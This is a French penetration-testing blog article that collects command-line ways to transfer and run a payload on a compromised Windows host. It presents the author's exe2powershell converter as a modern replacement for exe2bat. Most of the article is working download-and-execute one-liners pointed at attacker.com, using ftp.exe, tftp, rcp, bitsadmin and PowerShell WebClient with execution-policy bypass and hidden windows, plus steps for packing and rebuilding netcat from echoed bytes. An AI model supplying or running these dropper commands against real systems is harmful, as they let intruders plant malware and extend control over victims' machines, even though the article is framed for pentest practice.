[Windows / DOS / PowerShell] Upload de fichier en ligne de commande – one liner

02
mars
2016
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Administration réseaux et systèmes / OS / Vulnérabilités, exploits et PoC / Windows   /   4 commentaires

Comment uploader / transférer un fichier au travers d’un shell / terminal DOS sous Windows ? Il n’y a pas de « wget » simple d’utilisation sur ces OS ; et comme tout pentesteur qui se respectent, nombreux sont ceux s’étant arrachés les cheveux pour transmettre un payload.exe lorsqu’il avait compromis une machine avec un shell ou reverse-shell.

Pourtant, de nombreuses méthodes existent, en partant de solutions vraiment « oldschool » et obsolètes jusqu’aux nouveautés que Microsoft nous délivre avec le PowerShell.

Cet article a pour vocation de centraliser plusieurs de ces méthodes, d’une part afin de me permettre de faire du ménage dans les entrailles de mes archives et d’autres part pour dépanner les éventuels pentesteurs un peu rouillés sur les nouvelles versions de Windows.

A la rédaction de celui-ci, la création de « exe2powershell » en a découlé. exe2powershell est la renaissance de exe2bat, compatible avec les nouvelles versions de Windows (7×64, 2008R2, 2012, 8, 8.1, 10, etc.). Toutes les sources et outils présentés dans cet article sont disponibles sur le dépôt GitHub associé.

Historique, passé et présent, des raisons d’upload via un shell

Les plus anciens se souviendront du temps des vieilles versions d’IIS, au cours des années 2000, notamment avec une très jolie vulnérabilité qui affectait les IIS 4.0 et 5.0 surnommée « la faille Unicode ». Celle-ci fournissait un shell directement au travers de l’URL, en encodant en unicode la séquence « ../ » pour remonter jusqu’à l’appel de « cmd.exe ».

Faille unicode IIS 5.0

Faille unicode IIS 5.0

Ce « remote command execution » (RCE) n’était bien évidemment par interactif : la commande « telnet », « edit » ou même « ftp » ne permettait pas de poursuivre l’interaction avec le shell. Il fallait des commandes en « one-shot », des commandes retournant directement un résultat. Autrement dit, seules des commandes « one-liners » permettaient de poursuivre la corruption d’un tel serveur dans le cadre d’un pentest.

Lors de pentest, l’obtention d’un shell est généralement le Graal : un shell obtenu sur une machine signifie clairement sa compromission. Certes ce n’est pas l’ultime étape, l’attaquant va chercher à escalader les privilèges, à pérenniser son accès (déploiement d’une backdoor, RAT, rootkit), il va chercher à effacer ses traces, puis va exploiter les ressources à ses fins (botnet, spam, stromaking, espionnage…). Mais entre l’obtention d’un RCE/shell et cette finalité, il nécessite d’accroître son emprise sur le système.

Comme illustré avec la « faille Unicode », exécuter des commandes à distance sur un système peut prendre diverses formes :

  • Au travers d’une URL
  • Via la modification arbitraire de variable d’environnement
  • En exploitant des entrées utilisateurs non-protégées
  • Etc.

Bien avant l’apparition et l’adoption en masse des frameworks et trousses-à-outils fabuleusement riches et puissantes telles MSF ou encore mimikatz, le pentesteur devait équiper soit même la machine compromise d’une multitude de binaires et exécutables lui permettant d’arriver à ses fins, d’où un intérêt tout particulier pour la question « Comment upload un fichier en ligne de commande Windows ? »

De nos jours, les pentesteurs cherchent la facilité et surtout évitent de réinventer la roue. Quoi de mieux que d’établir un reverse-shell Meterpreter, permettant ainsi de disposer de la fabuleuse boîte à outil et de toute la puissance de Metasploit ?

Au travers de l’exécution de commandes distantes dont l’attaquant dispose, l’idée va être de transférer une charge utile (payload.exe, la calculatrice calc.exe dans les exemples qui suivent), qui va lui permettre de disposer d’un véritable shell interactif une fois chargé côté victime (dropper).

Les méthodes qui suivent, plus ou moins vieilles (mais pas pour autant non-fonctionnelles), permettent de transférer un fichier arbitraire « payload.exe » en ligne de commande sur une machine compromise.

Les diverses méthodes d’upload

FTP.EXE : le traditionnel du « stromaking »

La méthode par « ftp.exe » (File Transfert Protocol – port 21 en TCP), binaire natif de Windows situé dans « %systemroot%\System32\ftp.exe », permet de récupérer un fichier « payload.exe » hébergé sur un serveur FTP contrôlé par l’attaquant.

Utilisable de manière interactive, l’ensemble des syntaxes « FTP » peuvent également être scriptées :

open attacker.com 21
USER attacker
PASS PaSsWoRd
binary
GET /payload.exe
quit

Le côté « interactif » est quelque peu gênant, surtout lors de RCE similaire à celui d’IIS5 que l’on rencontre de nos jours. Ainsi, l’idée est de concevoir un fichier « ftp.txt » qui va recenser l’ensemble des commandes, puis d’appeler la commande « ftp » avec l’attribut « -s:ftp.txt » pour chaîner automatiquement ces actions :

@echo open attacker.com 21> ftp.txt
@echo USER attacker >> ftp.txt
@echo PASS PaSsWoRd >> ftp.txt
@echo binary >> ftp.txt
@echo GET /payload.exe >> ftp.txt
@echo quit >> ftp.txt
ftp -s:ftp.txt -v

Version one-liner :

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

Très prisé au temps du « stromaking » (occupation cachée et usurpation de l’espace disque disponible sur des serveurs afin d’y héberger toute sorte de contenu, notamment de « WareZ »), les sysadmins avaient trouvé une parade : supprimer le binaire « ftp.exe » de System32. Bien évidemment, celui-ci peut être régénéré / remis à sa place…

TFTP.EXE : l’incontournable au temps d’IIS 5 !

Lorsque les sysadmins supprimaient par prévention le « ftp.exe », les attaquants se rabattaient sur « tftp.exe » (Trivial File Transfer Protocol). Egalement natif sous Windows dans System32 mais plus activé par défaut après Windows XP / 2003, cet outil en ligne de commande permet la récupération de fichier en une seule ligne (one-liner), via un canal UDP sur le port 69 par défaut.

Comme précédemment, l’attaquant doit disposer d’un serveur TFTP sous son contrôle afin que la machine compromise vienne y chercher son payload.exe. Un tel serveur TFTP est aisément mis en place avec tftpy en Python, Tftpd32/64 sous Windows ou atftp sous Linux.

Puis, en une seule commande one-liner :

tftp -i attacker.com get payload.exe

Régulièrement employée à l’époque pour transmettre des binaires via la faille Unicode (nc.exe), cette méthode est à présent jugée obsolète avec le binaire « tftp.exe » qui n’est plus présent par défaut au sein des OS Windows.

Faille Unicode IIS5.0 upload via TFTP

Faille Unicode IIS5.0 upload via TFTP

RCP : Remote Copy Command, le petit oublié…

rcp.exe est un binaire de System32 qui fait parti des utilitaires « R-command » de Windows. Celui-ci n’est plus présent par défaut depuis Windows 7 tout comme RSH :

Not available by default in Windows 7 but can be enabled by turning on the Subsystem for UNIX-based Applications Windows feature from Programs and Features in Control Panel and then installing the Utilities and SDK for UNIX-based Applications.

Cet outil permet de récupérer des fichiers comme TFTP, avec une phase d’authentification. Rarement utilisé par rapport à FTP.exe ou TFTP.exe, les sysadmins ne le renommaient / supprimaient pas.

Comme pour la méthode TFTP, il est nécessaire côté assaillant de mettre en place un « serveur RCP ». Ceci peut se faire très simplement via l’outil « rcp32bit.exe« . Une fois exécuté, ce serveur va extraire une multitude de fichiers. Pour paramétrer le serveur, ouvrir l’exécutable « QVTNET32.EXE« , se rendre dans l’onglet « Service » puis « Server« . Cocher « Set default » et activer « RCP Server« . Enfin, dans le champ « Password File« , renseigner un nom de fichier texte d’authentification « rcpass.txt » :

Configuration serveur RCP

Configuration serveur RCP

Sauvegarder cette configuration et laisser l’applicatif ouvert afin que le serveur reste en écoute.

Il est nécessaire à présent de générer les crédentiels (login / password) pour ce serveur RCP. En passant par un invité de commande, utiliser le binaire « PASSWD.exe » compris dans le package « rcp32bit.exe » :

C:\RCP>PASSWD.EXE rcpass.txt
WinQVT/Net Password File Utility
New file.
Usernames:
Enter Option (C[number]=Change, A=Add, D[number]=Delete, E=Exit): a
Add User: Admin
Username: Admin
Password:
Verify:
Usernames:
1. Admin
Enter Option (C[number]=Change, A=Add, D[number]=Delete, E=Exit): e

Le serveur RCP est en place avec le compte défini.

Côté machine comprise, il ne reste plus qu’à initier le transfert via la commande :

rcp.exe -b attacker.com.Admin:payload.exe payload.exe
Transfert de fichier via RCP

Transfert de fichier via RCP

CSCRIPT.EXE : La méthode WSH (Windows Scripting Host)

Les scripts « Windows Scripting Host » (WSH) peuvent également être employés via la génération d’un fichier *.vbs et l’utilisation du binaire d’interprétation « cscript.exe », natif sous les environnements Windows.

De tels scripts offrent de nombreuses possibilités pour un assaillant, notamment la récupération de fichiers au travers du protocole rarement filtré HTTP (exemple de x.vbs) :

xsh script

xsh script

Version one-liner de téléchargement en HTTP du payload.exe et exécution directe de celui-ci après téléchargement :

xsh one-liner

xsh one-liner

 

WSH download and execute payload

WSH download and execute payload

Note : Le code retour HTTP de l’URL du payload.exe indiqué doit être un « 200 OK » pour le script précédent. Pas de redirection 302 / 303.

BITSadmin : la nouveauté interactive depuis Windows 7

Un nouvel outil en mode console est apparu avec Windows 7. Celui-ci porte le nom de « bitsadmin.exe » et permet de récupérer (ou envoyer) des fichiers en ligne de commande. Cet outil fourni le détail de la progression du téléchargement de manière interactive. Toutefois, il est pleinement utilisable via un simple shell (comme un Netcat par exemple). Un autre avantage, est qu’en cas de coupure réseau, bitsadmin est capable de suspendre les transferts et de les reprendre une fois la liaison rétablie.

cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://attacker.com/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe"
BITSadmin download and execute payload

BITSadmin download and execute payload

BITSadmin n’est plus voué à être utilisé (remplacé par des cmdlets PowerShell) ; il l’indique d’ailleurs à son lancement :

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

PowerShell, le tout puissant…

Le PowerShell, enfin un « shell », une syntaxe, des fonctions et des possibilités dignes de ce nom pour les environnements Windows… Avec l’arrivé du « shell++ » de Microsoft sur les plus récents environnements (depuis Windows 7 / 2008), les commandes permettant de récupérer directement des fichiers ont suivi. L’idée est d’employer le binaire « powershell.exe » natif sur les plus récentes versions de Windows couplé à un script PowerShell (*.ps1) ou en passant une syntaxe PowerShell directement en ligne de commande (eval). Exemple de x.ps1 :

$down = New-Object System.Net.WebClient
$url = 'http://attacker.com/payload.exe';
$file = 'payload.exe';
$down.DownloadFile($url,$file);
$exec = New-Object -com shell.application
$exec.shellexecute($file);

Exécution en ligne de commande :

powershell.exe -executionpolicy bypass -file x.ps1

Le code PowerShell peut directement être transmis en ligne de commande, sans avoir besoin de créer un fichier sur le file system :

powershell (New-Object System.Net.WebClient).DownloadFile('http://attacker.com/payload.exe','payload.exe');Start-Process 'payload.exe'
PowerShell download and execute payload

PowerShell download and execute payload

Ou encore :

powershell (New-Object System.Net.WebClient).DownloadFile('http://attacker.com/payload.exe','payload.exe');(New-Object -com Shell.Application).ShellExecute('payload.exe');

exe2bat et le debug.exe

Une autre méthode particulièrement « oldschool » consiste à convertir un *.exe (le payload) en caractère ASCII affichable à l’écran (donc en une suite hexadécimale). Cette longue chaîne hexadécimale va pouvoir être placée sur la machine compromise dans un simple fichier texte via des commandes « echo ».

Puis, par la suite, le binaire natif « debug.exe » des anciens Windows (il n’est plus présent depuis Windows 7 x64, mais l’est toujours sur Windows 7 32bits), peut être employé pour régénéré le binaire payload.exe originel à partir de son code hexadécimal.

Cette méthode nécessite plusieurs facteur :

  • La machine d’accueil compromise doit disposer de « debug.exe » (Windows <= 7 x86) : ce binaire était conservé par soucis de rétro-compatibilité. En effet c’est un programme 16-bit aujourd’hui obsolète.
  • Le fichier « payload.exe » ne doit pas faire plus de 65 280 octets (64kB par défaut). Cette limite peut être augmentée en modifiant la source de l’outil « exe2bat.exe ».
  • exe2bat.exe : l’outil en question permettant de convertir un *.exe inférieur à 64kB en son équivalent hexadécimal. Cet outil est disponible sous Kali (/usr/share/windows-binaries/exe2bat.exe) ou encore dans le package disponible en téléchargement au sein de cet article. Cet outil peut être détecté comme un « hacktool » par certains antivirus.
  • upx.exe : afin de compresser les binaires voués à être convertis par exe2bat.

Le binaire (payload.exe) à convertir en hexadécimal (.bat) via exe2bat doit donc être de la plus petite taille possible. Exe2bat fonctionn(ait) parfaitement pour régénérer le « ftp.exe » ou « tftp.exe » que les sysadmins supprimaient par prévention. Il est également adapté pour « nc.exe » ou des payloads / droppers de petite taille générés par msfvenom.

Pour optimiser la conversion d’un binaire, il est conseillé de compresser ce binaire via « UPX » avant sa conversion. Prenons l’exemple de Netcat qui fait 61 440 octets dans sa version originale. On compressant netcat via UPX :

C:\Users\admin\Desktop>upx nc.exe
 Ultimate Packer for eXecutables
 Copyright (C) 1996 - 2013
UPX 3.91w Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
 -------------------- ------ ----------- -----------
 61440 -> 30720 50.00% win32/pe nc.exe
Packed 1 file.

La taille de Netcat est divisée de moitié (30720 octets), sans pour autant altérer son fonctionnement originel.

Il ne reste plus qu’à convertir ce binaire de 30kB via exe2bat :

C:\Users\admin\Desktop>exe2bat.exe nc.exe nc.txt
Finished: nc.exe > nc.txt

Le fichier nc.txt résultant recense tout le code hexadécimal du « nc.exe compressé par UPX » avec les commandes « echo » et « debug » nécessaires à la reconstruction du binaire originel :

exe2bat nc.exe compressé en UPX

exe2bat nc.exe compressé en UPX

En chaînant ces commandes sur la machine compromise, le « nc.exe » original sera créé sur le serveur.

Rappel : cette méthodologie nécessite l’utilisation de « debug.exe », une application 16 bits obsolète qui n’est plus présente sur les systèmes Windows depuis Windows 7 x64. Pour les versions plus récentes de Windows, voir la méthodologie ci-après.

exe2powershell : la renaissance de exe2bat

Au regard des limitations détaillées ci-dessus de exe2bat, j’ai entrepris de créer « exe2powershell » qui pallie à ces problématiques d’environnements. Ainsi, « exe2powershell » est pleinement fonctionnel sur les Windows modernes, en particulier les architectures x64 (Windows 7×64, Windows 2008R2, Windows 8 / 8.1, Windows 2012, Windows 10).

L’idée est strictement similaire à exe2bat : générer un fichier *.bat contenant une multitude de lignes « echo » du code affichable (en décimal cette fois) d’un binaire (payload.exe) en entrée. Puis, une fois le fichier recréé sur la machine compromise, l’appel d’une commande PowerShell permet de reconstruire le binaire originel.

Plus besoin de « debug.exe » ! PowerShell permet de le remplacer !

De plus, j’ai supprimé la limitation du binaire d’entrée de 64kB. Le fonctionnement est décrit ci-dessous.

Il est possible de créer un fichier texte (payload.txt) contenant l’image en décimal d’un binaire (payload.exe)

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -Command "[byte[]] $hex = get-content -encoding byte -path payload.exe;[System.IO.File]::WriteAllLines('payload.txt', ([string]$hex))"

La régénération du binaire originel s’effectue avec la commande inverse suivante :

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -Command "[string]$hex = get-content -path payload.txt;[Byte[]] $temp = $hex -split ' ';[System.IO.File]::WriteAllBytes('payload2.exe', $temp)"

Le problème est que le fichier texte « payload.txt » est relativement volumineux (quelques milliers de caractères pour Netcat par exemple), or le shell Windows tronque les commandes trop longues. Ainsi, il n’est pas possible de faire :

echo VERY_LONG_PAYLOAD.TXT_CONTENT > payload.txt

Il faut donc découper ce grand payload composé de caractères décimaux en plusieurs commandes « echo », fixée à 128 caractères au sein de exe2powershell. Chacune de ces commandes « echo » doivent être jouées les unes à la suite des autres pour reproduire à distance le « payload.txt ». Une fois ce fichier régénéré, la commande PowerShell précédente permet de reconstruire l’exécutable d’origine.

Tout ce fonctionnement a été intégré dans le développement « exe2powershell » qui se fonde sur le code originel de « exe2bat ». Le fonctionnement est le suivant :

C:\Users\admin\Desktop>exe2powershell.exe nc.exe nc.bat

 [ exe2bat reborn in exe2powershell for modern Windows ]
 [ initial author ninar1, based on riftor work, and modernized by ycam ]
 [ exe2powershell version 1.0 - keep up to date : www.asafety.fr ]

 [*] Finished: nc.exe > nc.bat

Fichier texte (*.bat) résultant :

exe2powershell résultats

exe2powershell résultats

Autres outils non-natifs à Windows

Plusieurs petits outils binaires utilisables en ligne de commande sont disponibles pour les environnements Windows, notamment « hget », « wget » ou encore « ftpit ».

Ceux-ci peuvent être envoyés sur une machine compromise afin de faciliter par la suite les futurs téléchargements de binaires.

  • wget.exe : le traditionnel « wget » des environnements Unix/Linux porté sous Windows. wget.exe fait 159KB et sa version compressée en UPX est de 72KB, ce qui reste « trop » pour transférer ce binaire via la méthode exe2bat (mais toutes les autres méthodes restent fonctionnelles, notamment exe2powershell).
  • hget.exe : vis-à-vis de la taille de wget.exe, même compressé avec UPX, les adeptes de la méthode « exe2bat » se sont triturés les méninges pour produire des binaires de très petites tailles réalisant les mêmes actions. hget est donc une alternative à wget (http / ftp), déjà compressé en UPX et ne faisant que 4,50KB. Les versions exe2bat ou exe2powershell tiennent en 80 lignes ! Le désavantage est que hget.exe est régulièrement détecté en tant que « hacktool » pour ces raisons…
  • ftpit.exe : pour les mêmes raisons que hget.exe, ftpit est une conception en ASM d’un client FTP minimaliste sous Windows, permettant d’extraire des fichiers locaux vers un serveur FTP distant. Ne pesant que 1.5KB, ses versions exe2bat et exe2powershell se résument à moins de 30 lignes.

Beaucoup d’autres outils non-natifs à Windows existent, voués à remplacer ou ajouter des fonctionnalités de transfert de fichiers sur ces OS parfois bridés. Les développeurs ne manquent pas d’imagination et gardent en tête la notion de « taille réduite » des binaires pour facilement les transférer via exe2bat ou exe2powershell.

Conclusion et téléchargement

Un pentesteur trouvera toujours un moyen d’uploader des fichiers sur une machine compromise via un « remote command execution ». Même si les sysadmins ont supprimés des binaires tels ftp.exe, tftp.exe ou rcp.exe de System32.

Ces méthodes qui pour certaines commencent à dater, restent toujours d’actualité à l’heure d’aujourd’hui en 2016. La rédaction de cet article découle d’ailleurs d’un pentest que j’ai réalisé la semaine dernière où je me suis confronté à ces problématiques sur un Windows Server 2008 R2 particulièrement bridé.

En ayant conclu que seule la méthode « exe2bat » pouvait être exploitée, j’ai rapidement observé que celle-ci n’était plus fonctionnelle sur les nouveaux Windows, d’où la motivation pour créer exe2powershell.

Les outils, convertisseur et compresseur, ainsi que tous les binaires traités dans cet article, ont été centralisé dans un package téléchargeable ici.

  • bin : les binaires compilés
    • exe2bat.exe
    • exe2powershell.exe
    • upx.exe
  • sample : tous les outils illustrés, sous leur forme original, compressée en UPX, convertie avec exe2bat et avec exe2powershell
    • bitsadmin/
    • cscript/
    • ftp/
    • ftpit/
    • hget/
    • nc/
    • rcp/
    • tftp/
    • wget/
  • src : les sources C++ des deux convertisseurs
    • exe2bat/
    • exe2powershell/

Si d’autres méthodes vous sont connues, qu’elles soient « oldschool » ou d’actualité, n’hésitez pas à me les indiquer afin que je les renseigne dans ce présent article.

Sources & ressources :

 

  • Google Plus
  • LinkedIn
  • Viadeo
Author Avatar

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.